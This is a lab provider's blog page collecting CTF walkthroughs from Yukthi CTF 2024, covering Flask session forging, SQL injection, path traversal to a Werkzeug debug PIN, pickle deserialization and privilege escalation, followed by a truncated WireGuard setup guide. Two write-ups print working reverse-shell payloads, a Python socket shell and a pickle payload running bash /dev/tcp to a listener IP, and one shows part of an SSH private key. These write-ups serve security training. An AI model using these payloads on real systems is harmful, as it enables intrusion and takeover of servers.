Cyber Investigation - Yukthi CTF 2024 Final

Cyber Investigation – Yukthi CTF 2024 Finals

Introduction In the finals of the Yukthi CTF 2024, I, Meena, a cybercrime investigator from Chennai, undertook an intense "Cyber Investigation" challenge. This journey offered hands-on experience in digital forensics, emphasizing the importance of securing sensitive information, identifying breaches, and managing server intrusions within a company’s infrastructure. Key Takeaways for Aspiring IT Students This article highlights crucial techniques beneficial for students aiming to build their expertise in Selfmade Ninja Lab cloud lab training for aspiring IT students: Analyzing exposed .git repositories to locate sensitive data. Strategies to obtain privileged web access using secret keys. Executing SQL injection to retrieve critical information. Leveraging setuid permissions for root access escalation on a Linux server. Getting Started Create an Account: To participate in this challenge, start by signing up at Selfmade Ninja Labs(Click here). If you don’t already have an account, create one using this signup link (Click here) Activate Wireguard: After creating your account, activate Wireguard VPN to securely connect to the lab environment. Access the Machine Labs: Navigate to the Machine Labs section from the dashboard on Selfmade Ninja Labs(Click here) On the left navbar, click My Lab > Challenge Lab. Browse through the list of challenges and locate the Fruity challenge. Start the Challenge: On the top-right, select Deploy Lab and click Start Mission. ou’ll receive an IP address. Forward this IP in your VS Code or terminal to access the environment and begin the challenge. Challenge 1: Data Breach Story Tasked with investigating a data leak at a company using a single dashboard to manage product issues reported by customers, I had to find the source of these leaks and secure a report from the /home directory. Challenge Flow Initial Reconnaissance: The first step was to perform a network scan to identify open ports and potential entry points. The scan revealed two open ports: SSH (port 22) and HTTP (port 80), indicating the presence of an accessible website and a possible way to gain shell access. Website Analysis: Upon visiting the website, I conducted a thorough examination of its structure and endpoints. During this process, I discovered a .git endpoint, which could potentially expose sensitive version control information. .git Repository Exploration: Exploring the .git repository revealed critical details, including usernames, passwords, and a secret key. This involved cloning the repository and inspecting the commit history and file contents for exposed credentials and configuration files. Repository: https://git.selfmade.ninja/Jawahar.s/old-project From the repository, in the branch prod, I retrieved an access-list.json file filled with user credentials and discovered a secretkey. Gaining Dashboard Access: Using the credentials jamie and jamieKey@1415, I logged into the dashboard. In the dashboard, I saw the report page, but I couldn’t access it because it was restricted to admin users only. Knowing that the site was running on Flask and having obtained the secret key from the master branch, I hypothesized that the same secret key might be used for the session management. I started crafting the payload. Admin Session Forging: With the secret key and a script from https://git.selfmade.ninja/Jawahar.s/flask-sess-forge, I forged an admin session cookie. I pasted this cookie into the cookies tab of my browser, which granted me admin access. This allowed me to access the admin-only report page. Executing SQL Injection: After entering the report page, I noticed a filter bar for products. I attempted a SQLite injection here. By utilizing an SQL union query, I accessed the database and extracted all user details. I obtained all user data from the database, including some active admin users. Specifically, I retrieved cater’s username and password, caterKey@hy2k2, and accessed the server via SSH to find the report in /home/report. Challenge 2: Server Intrusion Story Following the data breach investigation, a new concern arose regarding a suspicious file on the server, hinting at a more severe security breach involving leaked income reports. Challenge Flow Finding SUID Binaries: The first step was to search for binaries with setuid permissions. Setuid binaries are executable files that run with the permissions of the file owner, which can sometimes be exploited to gain elevated privileges. I used the following command to find all setuid binaries on the system: find / -perm -4000 -type f 2>/dev/null This command searches the entire filesystem (/), looking for files with the setuid permission (-4000) and suppressing error messages (2>/dev/null). The search revealed several binaries, including an unusual one. Identifying Anomalous Binary: Among the setuid binaries, I identified an anomalous binary located at /var/anomalous. Its presence and permissions stood out as unusual, making it a prime target for further investigation. Executing the Anomalous Binary: I executed the ./anomalous binary to understand its functionality. The binary launched a command-line application that prompted me to select from a list of options: cater@secure_byte:/var$ ./anomalous Welcome to our command-line application! Please select a command (type 'options' to view available commands): > options Available options: 1. init – Initialize the system 2. welcome – Show the welcome message 3. options – Show this options menu 4. start – Begin the application > init Initializing system… System initialized successfully! The provided commands didn’t reveal anything useful, so I decided to dig deeper into the binary to uncover any hidden functionalities. Analyzing the Binary with Strings: To explore the binary further, I used the strings command, which extracts printable strings from a binary file. This is a useful technique for discovering hidden commands or embedded information within an executable. strings anomalous Running this command on the anomalous binary revealed a list of strings, including one that caught my attention: readfile. Discovering the Hidden Command: The readfile string was not listed in the application’s available commands, making it a hidden or undocumented command. This discovery suggested that the binary had additional, hidden functionality that could be exploited. Executing the Hidden Command: I ran the ./anomalous binary again and entered the readfile command to test its effect: cater@secure_byte:/var$ ./anomalous Welcome to our command-line application! Please select a command (type 'options' to view available commands): > readfile Contents of /root/hiddenGem.77: 1a441c9439402c7033e5b915e1aeffa3.ninja File read successfully! > The hidden …

Cyber Investigation – Yukthi CTF 2024 Finals Read More »

Operation Warehouse

Operation Warehouse: Yukthi CTF 2024 Prelims – Cyber Investigation Challenge

Introduction to Operation Warehouse Operation Warehouse is a fascinating web-based challenge featured in the Yukthi CTF 2024 prelims. This challenge immerses participants in a simulated underground network and offers an in-depth, step-by-step cyber puzzle. By testing your cybersecurity skills, this challenge supports your journey in mastering ethical hacking, all while gaining hands-on experience in Selfmade Ninja Lab cloud lab training for aspiring IT students. Journey Through the Challenge Starting with the basics, participants first exploit a Flask debug console vulnerability combined with a path traversal bug. These initial vulnerabilities provide a pathway to deeper insights, leading to crucial access points within the system. Successfully obtaining the Werkzeug debugger pin allows participants to launch a reverse shell via Python, marking a major milestone in the challenge. Delving Deeper The second phase of Operation Warehouse introduces a separate machine where participants unlock root access using Python’s setcap capabilities. This stage tests advanced real-world cyber-attack simulations, requiring skills in privilege escalation and effective navigation of complex system layers. Getting Started: Accessing the Labs Visit the Selfmade Ninja Labs and log in to your account (Click here) Don’t have an account? No worries! Create one here. Activate WireGuard Follow the provided setup instructions to activate the WireGuard VPN. Access the Machine Labs Dashboard Go to Selfmade Ninja Labs and click Machine Labs to open the dashboard. On the left sidebar, navigate to My Lab dropdown and select Challenge Lab. Find and Launch the Challenge Browse the challenge page for Send the Alien Back Home and click the challenge button. In the top-right corner, click Deploy Lab and then click Start Mission. Note the IP address assigned to your challenge. Use this IP address to configure port forwarding in your VS Code setup. Skills Learned By participating in Operation Warehouse, you develop essential cybersecurity skills including: Reconnaissance and exploitation strategies Privilege escalation and system security bypass Network reconnaissance and web pentesting Enumeration 1. Initial Reconnaissance Start by conducting a port scan using nmap to identify active ports. The scan reveals that port 7777 is open, suggesting that a web service might be running on that port. nmap -p- ipaddress This scan shows that port 7777 is actively accepting connections, which is typically indicative of a web service. 2. Exploring Port 7777 Port forwarding to port 7777 revealed a website running on the server. Analyzing the webpage's source code uncovers an interesting endpoint: readfile?file=about.html. Altering this endpoint to readfile?file=….//…// exposes a Flask error message, confirming the server's framework. Alternatively, you can use Wappalyzer to quickly detect the technologies used on the website, confirming that Flask is running on the server. Accessing the /console endpoint reveals the debug console pin on the production server. The presence of this debug feature results from the application being configured with DEBUG=True in its production settings. This configuration should be disabled in a live environment to prevent security vulnerabilities. 3. Exploiting Path Traversal Next, scrutinize the readfile endpoint, which serves files directly. Notably, the URL <a href="http://127.0.0.1:7777/readfile?file=app.py&#x60">http://127.0.0.1:7777/readfile?file=app.py&#x60</a>; indicates a susceptibility to a path traversal attack. The application's handling of path traversal is peculiar: initially, any "../" sequences are replaced with an empty string, and then subsequent "../"` sequences are converted to a dot. Using this knowledge, craft the following URL to exploit the vulnerability and attempt to read system files like /etc/passwd: http://127.0.0.1:7777/readfile?file=….//…//…//…//…//…//…//…//etc/passwd To effectively exploit the vulnerabilities of the Flask debugger, specific detailed information about the application environment is needed. Here’s a breakdown of the data required and how it can be used to retrieve the console pin using a script designed for bypassing the Werkzeug debug console. Required Data for Console Pin Exploitation To exploit the console pin, you need specific details about the Flask application environment, which are crucial for the script to generate the correct console pin. The necessary details include: Username: The username under which the Flask application is running. Modname: The name of the main module of the Flask application. Machine ID: A unique identifier for the host machine which can sometimes be extracted from files like /etc/machine-id. MAC Address: The MAC address of the network interface, often obtainable via system files or network configuration commands. Obtaining the Required Details These details can typically be found by examining files within the application environment or by exploiting other vulnerabilities, such as the path traversal flaw discovered. By gathering this information, you can effectively use the script to bypass the debug console's security. Using the Bypass Script For additional information and the script, check out the GitHub repository. https://github.com/wdahlenburg/werkzeug-debug-console-bypass Using this script correctly with the appropriate data will allow you to bypass the Werkzeug debug console's security and gain access. This can be crucial in a penetration testing scenario or a CTF challenge. OR 4. Obtaining Console Pin using automation script Further exploitation of the path traversal vulnerability allows for obtaining the console pin. A script automates fetching the necessary data such as Flask app module names and machine identifiers: https://git.selfmade.ninja/Jawahar.s/werkpin/-/blob/master/werkpindebug.py This script, when executed, provides the debug console pin 5. Exploiting the Debug Console With the debug pin in hand, you can now target a reverse shell. Set up a listener using nc: nc -lnvp 9001 Executing the following Python script then allowed a reverse shell connection to be established: import os;os.popen(“””python3 -c ‘import socket,subprocess,os,tty,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“172.30.0.73”,9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(“/bin/bash”)'”””) The reverse shell provided direct command line access to the server. 6. Victory Using the obtained shell access, navigation to /home/jamie was accomplished to retrieve the first flag. Second Challenge: Escalating Privileges 1. Identifying Python Capability To escalate privileges, start by identifying if any system binaries have special capabilities that can be exploited. Use the getcap command to list all capabilities granted to executables. Command: getcap -r / 2> /dev/null This command recursively searches the root directory for all files with any set capabilities. It redirects errors to null to clean up the output. Finding: The command shows that Python 3.8 has been granted special capabilities, making it a potential vector for privilege escalation. 2.Escalating Privileges Using Python Once …

Operation Warehouse: Yukthi CTF 2024 Prelims – Cyber Investigation Challenge Read More »

Case unlocked

Case Unlocked: Yukthi CTF 2024 Prelims

Introduction Welcome to Case Unlocked, a featured challenge in the Yukthi CTF 2024 prelims, designed to immerse participants in an engaging journey of digital exploration and security testing. This challenge reflects the innovative training offered by Selfmade Ninja Lab cloud lab training for aspiring IT students, where participants delve into uncovering vulnerabilities, gathering sensitive information, and mastering web exploitation techniques. By participating in this challenge, students develop essential cybersecurity skills, including identifying and exploiting web vulnerabilities, analyzing hidden credentials, and escalating privileges on Linux systems. It’s a hands-on approach that builds practical expertise in ethical hacking and web security. Getting Started To begin the challenge: Visit Selfmade Ninja Labs and sign in with your account. If you don’t have an account, create one using this link: Selfmade Ninja GitLab Sign In (click here) Activate WireGuard as prompted. Go back to Selfmade Ninja Labs and click on the Machine Labs section in your dashboard. In the left-side navigation bar, expand the My Labs dropdown and select Challenge Labs. Browse through the available challenges and search for Case Unlocked. Once you locate the challenge, click the Challenge button. At the top-right corner, select Deploy the Lab and then click Start Mission. You will receive an IP address for the deployed lab environment. Use VS Code to port forward this IP address and begin the challenge. Skills Learned Effective methods for exploring and exploiting web endpoints Techniques for uncovering hidden or obscured login credentials Strategies for privilege escalation on Linux systems Enumeration 1. Initial Reconnaissance The first step involved scanning the network for open ports. Using the command nmap -p- 10.11.3.92, we performed a comprehensive scan. nmap -p- 10.11.3.92 This preliminary scan is essential because it helps to identify potential entry points on the target machine. Specifically, it reveals which ports are listening and may be vulnerable to further exploitation. Thus, this scan provides crucial information for planning subsequent steps in the exploitation process. 2. Discovering Port 80 The scan results showed that port 80 was open, which indicated that a web service was running. By accessing this web service through a browser, you obtained a pivotal clue for further actions. Consequently, this clue guided the next steps in your exploration and exploitation process. Upon accessing the webpage, I encountered an interactive game embedded within the site. This discovery provided an intriguing element to explore further. Therefore, it became a focal point for deeper investigation and analysis. 3. Endpoint Exploration Utilizing the Nikto tool, a comprehensive web server scanner that checks for dangerous files, outdated server software, and other problems, I was able to discover some interesting endpoints: nikto -h http://localhost:34829 These included admin login and .git pages. Navigating to the admin page redirected to a login page, but without known credentials: The discovery of a publicly accessible .git directory was crucial. It is a common security oversight to leave git directories accessible on production servers, which can expose sensitive information. Using GitTools (https://github.com/internetwache/GitTools), I cloned the repository found on the server, allowing access to the development history and potentially sensitive data. 4. Unearthing Credentials https://github.com/internetwache/GitTools cd GitTools After cloning the git repository, the command git log | grep "commit" | cut -d " " -f2 | xargs git show was used to extract and decode commits. This command sequence is useful for examining commit histories to find potentially leaked sensitive information. git log | grep "commit" | cut -d " " -f2 | xargs git show The credentials were found encoded in Base64 within the commit messages: mail=tetris@gmail.com: passwd=VDdpM19pM181ZXJlY3RfN2E1NXcwcmQ=, which decodes to T7i3_i3_5erect_7a55w0rd. username= testris@gmail.com password=T7i3_i3_5erect_7a55w0rd 5. Securing the Flag With the decoded credentials in hand, I used them to log in through the login.html page. Upon successful authentication, It was redirected to the /secret.php page, where the first flag was revealed. Challenge 2: Loophole Discovery After completing the initial challenge, I resumed with another round of port scanning to uncover further points of attack. This scan highlighted an active SSH service on the target. 1. Further Reconnaissance A subsequent port scan revealed that SSH (port 22) was open, providing an ideal vector for utilizing the credentials discovered earlier. This allowed for direct access to the system’s shell. ssh tetris@IPaddress 2. Identifying Vulnerable Sudo Version Once inside the shell, I employed various strategies to escalate privileges. Noticing the sudo version was 1.8.21, an older and known exploitable version, I identified a potential avenue for attack. The presence of password feedback (asterisks when typing the password) confirmed that pwfeedback was enabled, a feature vulnerable to specific exploits. sudo –version Sudo Version Check: Research on Google led me to an exploit in the Exploit Database that could leverage this vulnerability (CVE-2019-18634). Exploit Repository: CVE-2019-18634 3. Gaining Root Access I cloned the exploit script from GitHub: git clone https://github.com/Plazmaz/CVE-2019-18634/ cd CVE-2019-18634 /self-contained.sh Running the ./self-contained.sh script from the cloned repository exploited the pwfeedback buffer overflow vulnerability, successfully granting root access. This allowed me to locate a critical document inside /root/locker/. Conclusion The Case Unlocked challenge is a testament to the comprehensive and practical learning approach offered by Selfmade Ninja Lab cloud lab training for aspiring IT students. By engaging with real-world scenarios, participants not only enhance their technical skills but also build the confidence to tackle complex cybersecurity challenges in the field. Let the mission begin—empower your skills with Selfmade Ninja Labs!

Mystery 013

Mastering the Mystery 013 – Yukthi CTF 2024 Prelims: A Cyber Forensics Journey

Introduction to Mystery 013 "Mystery 013" is an engaging digital forensics challenge introduced in the Yukthi CTF 2024 prelims, designed for aspiring IT students interested in cyber investigation and decryption. This challenge offers a hands-on experience with key digital forensics skills essential for professionals in the field. Getting Started with Mystery 013 Before diving into the challenge, follow these steps to set up your environment using Selfmade Ninja Lab’s cloud lab training for aspiring students: Create an Account Visit Selfmade Ninja Labs to sign in (click here) If you don’t have an account, register at Selfmade Ninja Git (click here) Activate WireGuard Activate WireGuard to establish a secure connection. Access Machine Labs Navigate to Selfmade Ninja Labs and click Machine Labs to open the dashboard. Locate the Challenge On the left navbar, click the My Lab dropdown, then select Challenge Lab. Browse the list of challenges, search for Mystery 013, and click the Challenge button. Start the Mission On the challenge page, click the Deploy Lab button at the top right, then hit Start Mission. Note down the IP address provided. Configure the required port forwarding to begin your adventure! The Challenge Begins he adventure starts with a seemingly simple image. However, buried within its pixels are secrets waiting to be uncovered. Participants must first use steganography techniques to reveal the concealed data hidden within the image—an essential skill in digital image forensics training. Brute Force and Code Cracking After uncovering the hidden data, participants are tasked with applying brute force techniques to crack encryption codes, a critical skill for breaking down security layers. This stage enhances the ability to access crucial information, a valuable asset in cloud lab training for aspiring IT students in environments like the Selfmade Ninja Lab. RAM Analysis and Beyond The final phase is where participants dive into RAM analysis, examining memory dumps to extract significant information—emulating real-world cyber investigation. This step teaches effective techniques in memory analysis, helping participants build confidence in handling real cyber forensics cases. Key Skills Developed Digital image forensics Effective decryption techniques Analyzing memory dumps for evidence Enumeration Initial Reconnaissance We start our challenge by identifying open ports on the target IP using the nmap command. This crucial step helps us find potential entry points on the server. nmap -p- IPaddress Exploring Port 84 Upon discovering that port 84 is open, we navigate to it only to find a web interface. This web interface presented another puzzle in the form of an image which we decided to download for further analysis. Steganographic Extraction Using Steghide, a tool for embedding and extracting data hidden within images or audio files, we extracted contents from the image: sudo apt install steghide steghide extract -sf hid.jpeg cat secret.txt echo “LOVtcGxPeWUxMg==” | base64 -d This revealed a file named secret.txt, which contained an encrypted key in Base64. Decoding this key unveiled an endpoint, /EmplOye12. Navigating to this endpoint displayed detailed information about employees without requiring login credentials. Brute Force Attack Using the names found on the employees’ details page, we crafted a wordlist with cewl, a tool that generates custom wordlists by spidering a target’s website and collecting unique words cewl http://ipaddress:port/EmplOye12 >> wordlist.txt This list was then used to conduct a brute force attack with hydra, a popular network logon cracker, which successfully cracked the login credentials for the username "Chris". hydra -L wordlist.txT -P wordlist.txt IPaddress http-post-form " /logic/v1/login:user=^USER^&password=^PASS^:login failed" Using these credentials, we accessed the login page and successfully breached it, unveiling the first flag. username: Chris password: hacking Image Insight: The Second Challenge After successfully accessing the page with the necessary credentials, we found ourselves needing to answer questions about Case 013. The answers were believed to be hidden in a RAM image extracted from the suspect’s computer. RAM Analysis Introduction to Volatility Volatility is an open-source memory forensics framework for incident response and malware analysis. It helps investigators analyze volatile memory (RAM) to extract artifacts that provide insight into the runtime state of the system. Installing Volatility To use Volatility, you typically need Python on your system. You can install Volatility by cloning its repository from GitHub and then installing it through Python’s pip tool: git clone https://github.com/volatilityfoundation/volatility.git cd volatility pip install . Using the Volatility tool, we began dissecting the RAM image to uncover the required information. We started with the imageinfo command to identify the system architecture: volatility -f testing.vmem imageinfo This command confirmed the architecture as WinXPSP2x86. Upon entering the architecture data on the browser and verifying it, we received confirmation that our answer was correct. Detailed Analysis Using Volatility Plugins We proceeded to use various Volatility plugins to answer the remaining questions on the case tab: OS & Architecture: Confirmed as WinXPSP2x86 through the imageinfo plugin. Process IDs: Identified VMwareService.exe (PID: 1444) and winlogon.exe (PID: 632) using the pslist plugin. Shutdown Date: The last shutdown date was pinpointed as 2011-10-10 with the shutdowntime plugin. Remote Connection: Uncovered a connection to 172.16.98.1:6666 via the connscan plugin. Executed Commands: Found the last executed command sc query malware using the consoles plugin. Internet Explorer History: Detected an open HTML file license.html during the memory capture with the iehistory plugin. Using the extracted data, we addressed all the questions posed on the case page, leveraging the insights gained to piece together the motives behind the criminal’s actions and uncover the secrets hidden within the mysterious file. This comprehensive analysis ultimately led us to secure the second flag. Conclusion “Mystery 013” is a comprehensive digital forensics challenge, immersing aspiring IT students in a journey through steganography, code cracking, and memory forensics. It is an excellent training ground for those interested in cyber security and investigation roles, supported by Selfmade Ninja Lab’s cloud lab training for aspiring IT students. This challenge is not only a practical exercise but a valuable learning experience for participants looking to develop forensic and cyber investigation skills in a high-stakes environment.

Pickle Portal

Exploring the Pickle Portal Challenge: Python and Linux Skills Enhancement with Selfmade Ninja Lab

Introduction The Pickle Portal Challenge offers a deep dive into essential programming and system management skills, emphasizing Python’s Pickle serialization and deserialization and Linux’s file descriptor management. Created as a practical learning experience, it invites participants to enhance their understanding of programming vulnerabilities, cybersecurity risks, and system-level problem-solving. This hands-on challenge is ideal for both beginners and seasoned tech enthusiasts interested in Selfmade Ninja Lab cloud lab training for aspiring IT students. How to Start the Challenge To begin the Pickle Portal Challenge, follow these steps: Visit Selfmade Ninja Labs and sign in to your account. If you don’t have an account, create one by clicking here. Activate your wireground by following the provided instructions. After logging in, go to Selfmade Ninja Labs again and click on Machine Labs to open your dashboard. In the left side navbar, click on the My Lab dropdown, and select Challenge Lab. You will see a list of challenges. Search for Send the Pickle Portal and click the challenge button to start. In the top right corner, click Deploy the Lab, then click on Start Mission. Once the lab is deployed, you’ll receive an IP address. Use this IP address to forward the port in Visual Studio Code (VSCode) and you can begin the challenge. These steps guide you through the initial setup to begin exploring the Pickle Portal Challenge in the Selfmade Ninja Lab cloud lab What You’ll Learn Pickle deserialization File Descriptor Manipulation Reverse Shell Creation Cryptography and Encoding Linux Privilege Escalation Enumuration As part of the initial step in tackling the "Pickle Portal Challenge", we began by examining the source code provided in the brief. This was essential for understanding the underlying functionalities and potential vulnerabilities within the application. Nmap To further our investigation, we employed Nmap, a powerful network scanning tool, to discover any additional services that might be running on the target machine. After deploying the challenge environment, the IP address was provided, but specific service ports were not immediately apparent. To uncover all open ports on the server, we executed the following Nmap command: nmap -p- ip_address prasaanth2k@essentials:~$ nmap -p- 10.11.1.254 Starting Nmap 7.93 ( https://nmap.org ) at 2024-04-12 05:25 UTC Nmap scan report for bd209035ebd5c330f2c3a72a7cdac1d6.labs_frontend (10.11.1.254) Host is up (0.00010s latency). Not shown: 65534 closed tcp ports (conn-refused) PORT STATE SERVICE 94/tcp open objcall Nmap done: 1 IP address (1 host up) scanned in 1.47 seconds Upon reviewing the results from the Nmap scan, it became clear that there was no direct indication of a service running on a port conventionally associated with ‘objcall’. This absence suggests that there might be a hidden or less obvious service operating on this port. Such findings often point to non-standard configurations or services that may have been intentionally obscured, potentially as a part of the challenge setup. Following your successful access to the service on the previously hidden port, your focus shifted to understanding how the service interacts with input data, particularly in the context suggested by the challenge name—serialization and deserialization using Python’s Pickle module. Observations from Interaction When you input test data text into the service, observing how it handles this input provides valuable insights into its underlying functionality. Given the context of Python’s Pickle serialization, there are a few key aspects to consider: Serialization: The service might be serializing the input data into a binary or text-based format that can be stored or transmitted. Look for signs that the data is being converted into a non-human-readable format or encoded in some way. Deserialization: Conversely, the service might deserialize provided data, which would involve taking previously serialized data and reconstructing it back to its original form or into an executable Python object. Input data Serialize Deserilize Source Code Review The Python Flask code utilizes the pickle module for serialization and deserialization of user input, without proper input sanitization. This opens a potential vector for executing arbitrary Python code on the server. Let’s dissect the key parts of the source: from flask import Flask, request, render_template import pickle import sys sys.path.append('/home/morty/app') import base64 application = app = Flask(__name__) # Secret portal gun object class PortalGun: def __reduce__(self): return (exec, ("<missed source>",)) @app.route('/') def index(): return render_template('index.html') @app.route('/serialize', methods=['POST']) def serialize(): data = request.form.get('data') try: serialized_data = base64.b64encode(pickle.dumps(data)).decode('utf-8') return render_template('serialized.html',serializeddata=serialized_data) except Exception as e: return str(e), 400 @app.route('/deserialize', methods=['POST']) def deserialize(): data = request.form.get('data') try: deserialized_data = pickle.loads(base64.b64decode(data)) result = str(deserialized_data) return render_template('deserialize.html',deserializeddata=deserialized_data) except Exception as e: return str(e), 400 if __name__ == '__main__': app.run(host='0.0.0.0', port=94) The critical vulnerability here is the lack of validation on the data being deserialized. Utilizing the exec<code> function within the </code>__reduce__<code> method of the </code>PortalGun class allows for arbitrary command execution when deserializing data. Exploit Development import pickle, base64 class PortalGun: def __reduce__(self): import subprocess return (exec, ('''import os;os.popen("bash -c '/bin/bash -i >& /dev/tcp/10.11.1.200/5000 0>&1'").read()''',)) p = pickle.dumps(PortalGun()) dat = base64.b64encode(p).decode('ASCII') print(dat) This exploit code serializes the PortalGun object and encodes it in base64. This string can be used as input to the vulnerable deserialize endpoint to execute a reverse shell command. Exploitation Steps Payload Delivery: Submit the base64-encoded serialized data to the /deserialize endpoint of the application. Reverse Shell: Listen on the specified port (5000) to catch the reverse shell initiated by the deserialization of the malicious payload. prasaanth2k@essentials:~$ python3 exploit.py gASVZQAAAAAAAACMCGJ1aWx0aW5zlIwEZXhlY5STlIxJaW1wb3J0IG9zOyBvcy5zeXN0ZW0oJ2Jhc2ggLWMgInNoIC1pID4mIC9kZXYvdGNwLzEwLjEzLjAuMTMzLzQzMjYgMD4mMSInKZSFlFKULg== prasaanth2k@essentials:~$ nc -lvnp 4326 Listening on 0.0.0.0 4326 Connection received on 10.13.1.243 37248 sh: 0: can't access tty; job control turned off $ export TERM=xterm $ export SHELL=bash $ bash -i bash: cannot set terminal process group (44): Inappropriate ioctl for device bash: no job control in this shell morty@morty:~$ ls ls app memory_destroyer.c spicypickle.txt morty@morty:~$ cat spicypickle.txt cat spicypickle.txt 6347960100bfa2f79e270eb53872e51d.ninja morty@morty:~$ Foothold and Privilege Escalation Upon obtaining the reverse shell, further enumeration revealed an SSH private key and other sensitive information. Using the retrieved SSH key, secure access to the server was established using: morty@morty:~$ cd .ssh cd .ssh morty@morty:~/.ssh$ ls ls authorized_keys id_ecdsa id_ecdsa.pub morty@morty:~/.ssh$ cat id_ecdsa cat id_ecdsa —–BEGIN OPENSSH PRIVATE KEY—– b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAaAAAABNlY2RzYS 1zaGEyLW5pc3RwMjU2AAAACG5pc3RwMjU2AAAAQQQVoKCfmlW32m5VhNEaEwYfCQ/Sa4Kg Vr7bCjIjuR6gbpBlXIgwMoiKGsDZyIXQoUuikWrB4O+tJWoIXy39V9gtAAAAuIVTgVmFU4 FZAAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBWgoJ+aVbfablWE 0RoTBh8JD9JrgqBWvtsKMiO5HqBukGVciDAyiIoawNnIhdChS6KRasHg760laghfLf1X2C …

Exploring the Pickle Portal Challenge: Python and Linux Skills Enhancement with Selfmade Ninja Lab Read More »

A Blockchain OSINT Challenge

Case 118 Unlocked: A Blockchain OSINT Challenge Guide

Introduction Case 118 Unlocked presents an exciting blockchain-based OSINT challenge on the Binance Smart Chain (BSC) testnet, designed to hone your investigative and technical skills. The mission? To uncover leaked API keys and identify the miner of a specific block. While the objective may seem straightforward, the intricate journey to uncover the clues makes this challenge a true test of expertise. Skills Learned Understanding Blockchain and BSC Testnet Exploring BscScan OSINT Steps to Get Started To begin the challenge, follow these initial steps: Sign In or Create an Account: Visit Selfmade Ninja Labs to sign in (click here) If you don’t have an account, create one via Git Selfmade Ninja (click here) Activate the WireGuard VPN: Follow the VPN setup process to ensure secure access. Access the Machine Labs Dashboard: Go to Selfmade Ninja Labs and click Machine Labs on the dashboard. Navigate to Challenge Labs: On the left navbar, expand the My Lab dropdown and select Challenge Lab. Search for Case 118: Browse the list of challenges, find Case 118 Unlocked, and click the challenge button. Deploy the Lab: Use the Deploy button on the top right to launch the lab, then click Start Mission. Note the provided IP address for the lab and forward it to your local environment using VS Code for port forwarding. Enumeration At the heart of Mylapore Police Station’s digital infrastructure lies a decentralized network, safeguarding criminal records with cutting-edge technology. Yet, amidst its digital fortification, a case known as Ninja[0104EF] lurks in the shadows, its secrets locked away, waiting for a skilled individual to unearth the truth. Tied to this enigma is a vital secret key, its security compromised, threatening the integrity of the entire system. The challenge? To dive deep into the network’s abyss, retrieve the leaked key, and restore order. The Journey Begins: Initial Reconnaissance with Nmap: The first step into the unknown began with a simple yet powerful command: nmap -p- , scanning all ports to reveal that port 84 was ajar, inviting further investigation. Exploring Port 84: Venturing into port 84 through my browser, a WebUI unfolded, hinting at the complexity of what lay ahead. it ask key to enter. Case PDF Analysis: Within the brief, a case PDF emerged, teeming with addresses. These digital fingerprints belonged to contract creators on the BSC testnet, key pieces of the puzzle. Upon further analysis and verification through the BSCScan test network, it was determined that these contracts are associated with a owner: 0x6AA8CBD6B3da0528d7B27926B0ba3e9BE724c573. Identifying the Crucial ID: Go to bscscan tetnet and put that identified correct address i start research, in that adress lot of contract as deployed – Ninja Contract Discovery: Clues hinted at a "Ninja contract," with an ID ending in "0104EF" in brief, This was the breakthrough moment, leading to the pivotal discovery of the contract. below i click that contract button it give contracts like sna.sol and context.sol Key Discovery: The contract held the first clue—line 174 th line of sna.sol unveiled the leaked key. Placing this key within the web interface, the first flag was captured, a testament to persistence and acumen. Foothold With the first mystery unraveled, attention shifted to the mastermind behind the network’s turmoil. Armed with an ID [0x5e889124afe0658b00ffa59fd16e52e2c7d96a48811f777f320e791b2aa91e1f]and driven by the clues gathered, the next phase was to track down the architect of chaos, ensuring the Mylapore Police Station’s records’ security. Navigating the Network: Deep Dive into Blockchain Analysis: With the ID in hand, the blockchain yielded its secrets, Put that transection hash in search bar you got details about that transection here you can see Block number 36000232. click that block number . After click that block who mined that block what it means that second challenge is to find that miners In the Yukthi CTF 2024 prelims, navigating these challenges required a blend of technical expertise, patience, and a touch of creativity. Each flag captured reflects not only victory but also the deep learning and strategic thinking fostered by Selfmade Ninja Lab cloud lab training for aspiring IT students. This challenge journey showcases the value of cybersecurity knowledge, demonstrating how storytelling and technical skills make each task an engaging experience.

SNA Lab connection

How to Connect to Selfmade Ninja Labs with WireGuard (Mac)

Prerequisites Selfmade Ninja Lab account (Don’t have one? Create one here) Hey There! Are you ready to embark on a thrilling journey into the digital world? Today, I’ll guide you through a simple, free way to connect to Selfmade Ninja Labs on your Mac. This guide ensures a seamless setup, connecting your Mac to the ultimate destination for coding and development—Selfmade Ninja Lab cloud lab training for aspiring IT students. Let’s dive in. Let’s Get Prepared! Before we dive into the deep end, let’s make sure you have everything you need: A Mac Computer: No need for the most advanced technology; any Mac that can run the latest or recent macOS will suffice. A Stable Internet Connection: A steady and reliable internet connection is crucial as it acts as your bridge to the vast online world, ensuring uninterrupted access to Selfmade Ninja Labs. Connect to Selfmade Ninja Labs Your first step involves accessing GitLab with your credentials. This is crucial for establishing a secure connection to Selfmade Ninja Labs. Click here. Within the ‘Preferences’ tab, locate and select ‘SSH Keys’. This area allows you to add new keys, a vital part of securing your connection to Selfmade Ninja Labs. Adding an SSH key allows your SNA Labs to be accessed from your computer securely. Open your Mac’s terminal and execute the below command to generate a new SSH key. This process creates a unique identifier for your device, enhancing the security of your connection to Selfmade Ninja Labs. ssh-keygen -t rsa -b 2048 -C “your-key-name” Incorporating SSH keys into your security protocol is crucial for enhancing the safety and integrity of your digital communications. Here’s a succinct explanation of their importance: Enhanced Security: SSH keys offer a more secure alternative to password-based logins. They utilize cryptographic algorithms, making them nearly impervious to brute force attacks, significantly reducing the risk of unauthorized access. Key Pair Mechanism: Generating SSH keys creates a pair: a public key for sharing and a private key kept secure on your device. This mechanism ensures that only the holder of the private key can access the linked server or service, safeguarding your connection. Identity Verification: The unique pairing of SSH keys provides non-repudiation, affirming the identity of the user without the possibility of impersonation, thanks to the cryptographic proof of ownership. Mitigated Cyber Threats: By avoiding password transmission, SSH keys minimize the risk of interception by malicious actors, offering a robust defense against many forms of cyber attacks. In essence, SSH keys are fundamental to securing your digital channels, providing a balance of accessibility, security, and efficiency in managing secure connections. After generating your SSH key, use the terminal command below to display and then copy this key. cat your_key_location Paste it into the appropriate field in GitLab under the ‘SSH Keys’ section. and hit ‘Add Key’ option. This action completes the loop of securing your connection. WireGuard is a modern, 